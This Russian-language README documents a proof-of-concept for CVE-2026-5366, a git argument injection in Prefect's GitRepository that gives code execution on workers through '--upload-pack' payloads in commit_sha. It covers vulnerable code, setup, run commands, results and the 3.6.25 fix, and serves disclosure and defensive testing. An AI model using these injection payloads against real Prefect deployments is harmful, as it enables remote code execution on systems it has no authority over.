
PoC для CVE-2026-5366: инъекция аргументов git в GitRepository Prefect, приводящая к RCE на worker.
commit_sha (плюс внедрение аргументов через directories)src/prefect/runner/storage.pyЭто доказательство концепции для уже раскрытой и исправленной уязвимости (исправлено в Prefect 3.6.25), опубликовано в образовательных целях и для защитной проверки. Запускайте его только в отношении программного обеспечения и систем, которыми вы владеете или которые уполномочены тестировать. Если вы используете Prefect, обновитесь до версии 3.6.25 или выше.
| Файл | Назначение |
|---|---|
poc.py | Запускает оба вектора внедрения на уязвимую установку и сообщает, какой из них приводит к выполнению кода |
run_offline.sh | Офлайн-запуск: создает локальный репозиторий file:// и запускает poc.py против него (надежный способ увидеть срабатывание RCE) |
В src/prefect/runner/storage.py:
# Line 174
if branch and commit_sha:
raise ValueError(...)
# Line 181
self._commit_sha = commit_sha # no validation whatsoever
...
self._directories = directories
Точки внедрения (номера строк в 3.6.23):
commit_sha:
pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]pull_code() ~391: ["git", "checkout", self._commit_sha]_clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]_clone_repo() ~480: ["git", "checkout", self._commit_sha]directories:
pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]_clone_repo() ~489:
(нет разделителя )На пути commit_sha опция --upload-pack=<program> интерпретируется командами git fetch/git checkout как программа упаковки для запуска при подключении, поэтому программа выполняется локально на рабочей машине. Это проверено от начала до конца (см. «Подтвержденные результаты» ниже).
Путь directories является настоящим внедрением аргументов, но не является вектором RCE через --upload-pack: git sparse-checkout set — это локальная команда без опции --upload-pack, поэтому полезная нагрузка отклоняется как неизвестный флаг. Эта асимметрия отражена в исправлении от разработчиков: commit_sha строго отклоняется, в то время как запись directories, начинающаяся с --, вызывает только предупреждение.
Суть — это трюк с внедрением аргументов git через вектор commit_sha.
Отсутствие проверки. В 3.6.23 значение commit_sha сохраняется дословно (storage.py:181), без каких-либо проверок, кроме взаимного исключения branch/commit_sha. Принимается любая строка.
Оно попадает в позицию аргумента git. Когда Prefect извлекает код (pull_code(), затем _clone_repo()), значение помещается в список аргументов git:
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
Это список аргументов (без оболочки), поэтому внедрения в оболочку нет. Проблема в том, что перед значением, контролируемым атакующим, нет разделителя --.
--upload-pack интерпретируется как опция, а не аргумент. git рассматривает все, что начинается с -, как опцию, если перед ним нет разделителя --. Полезная нагрузка:
Почему важна предварительная очистка. Если в целевом каталоге уже есть .git, Prefect выбирает путь «обновление существующего репозитория». Его удаление заставляет использовать полный путь _clone_repo(), который содержит наиболее прямые вызовы fetch origin <value> + checkout <value>, лучшие места для внедрения.
Почему directories не дает RCE. Это значение попадает в git sparse-checkout set <value> — локальную команду без опции --upload-pack, поэтому git отклоняет полезную нагрузку как неизвестный флаг. Это по-прежнему настоящее внедрение аргументов, но не вектор RCE с данной полезной нагрузкой.
Исправление (3.6.25). commit_sha должно соответствовать ^[0-9a-fA-F]{4,64}$, поэтому полезная нагрузка --upload-pack=... отклоняется с ValueError: Invalid commit SHA на этапе создания. Для directories исправление добавляет разделитель -- в команду git (значения больше не могут интерпретироваться как опции) плюс предупреждение.
prefect==3.6.23GitRepository(..., commit_sha=..., directories=...).pull_code()commit_sha отклоняется при создании GitRepository(...)python -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
Или из исходников по точному уязвимому тегу:
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
Надежный, автономный способ (создает локальный репозиторий file:// и запускает оба вектора):
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
Вы также можете запустить poc.py напрямую:
python poc.py # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # local repo
Важно: git учитывает --upload-pack только для локальных и ssh-протоколов. При использовании стандартного https-удаленного репозитория полезная нагрузка неактивна, поэтому python poc.py не сообщает о маркере даже на уязвимой версии 3.6.23. Используйте run_offline.sh (или file:// / ssh POC_TARGET_REPO), чтобы увидеть фактическое срабатывание RCE.
Скрипт выполняет агрессивную очистку (force_clean_destination) перед каждым вектором, чтобы гарантированно попасть на путь клонирования (_clone_repo), который выполняет:
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>
commit_sha:
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories:
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
Эти нагрузки попадают в сырые позиции аргументов в fetch / checkout и sparse-checkout set.
Воспроизведено от начала до конца, полностью офлайн (локальный bare-репозиторий file:// через run_offline.sh), на Python 3.12:
Наблюдаемое содержимое маркера при уязвимом запуске:
EXPLOITED via commit_sha <date>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
На исправленной установке создание вредоносного объекта завершается неудачей до любого запуска git:
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
Запись directories, начинающаяся с --, вызывает только предупреждение (настоящая защита — это разделитель --, добавленный в команду git).
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6dИспользуйте ответственно (конечно !!! :PpPPpp) и только на системах, которыми вы управляете :-)
["git", "sparse-checkout", "set", *self._directories]----upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
превращает команду в:
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<program> — это легитимная опция команд git fetch/clone/ls-remote: она указывает программу, которую git запускает для обслуживания пакетов. Когда удаленный репозиторий является локальным (file://) или доступен через SSH/локальный транспорт, git выполняет эту программу на локальной машине.
Результат: RCE. git запускает /bin/sh -c '...' вместо реального помощника git-upload-pack, поэтому команда атакующего выполняется на рабочей машине Prefect. Затем git завершается с ошибкой (sh не говорит по протоколу git), но побочный эффект (выполнение кода) уже произошел, поэтому PoC игнорирует возникшее исключение и проверяет только наличие файла-маркера.
| Версия | commit_sha | directories |
|---|
| 3.6.23 (уязвимая) | RCE достигнуто: файл-маркер записан во время git fetch origin <полезная нагрузка> | без маркера: sparse-checkout set отклоняет флаг --upload-pack |
| 3.6.25 (исправленная) | нейтрализовано: ValueError: Invalid commit SHA ... при создании GitRepository(...) | без маркера: разделитель -- + предупреждение |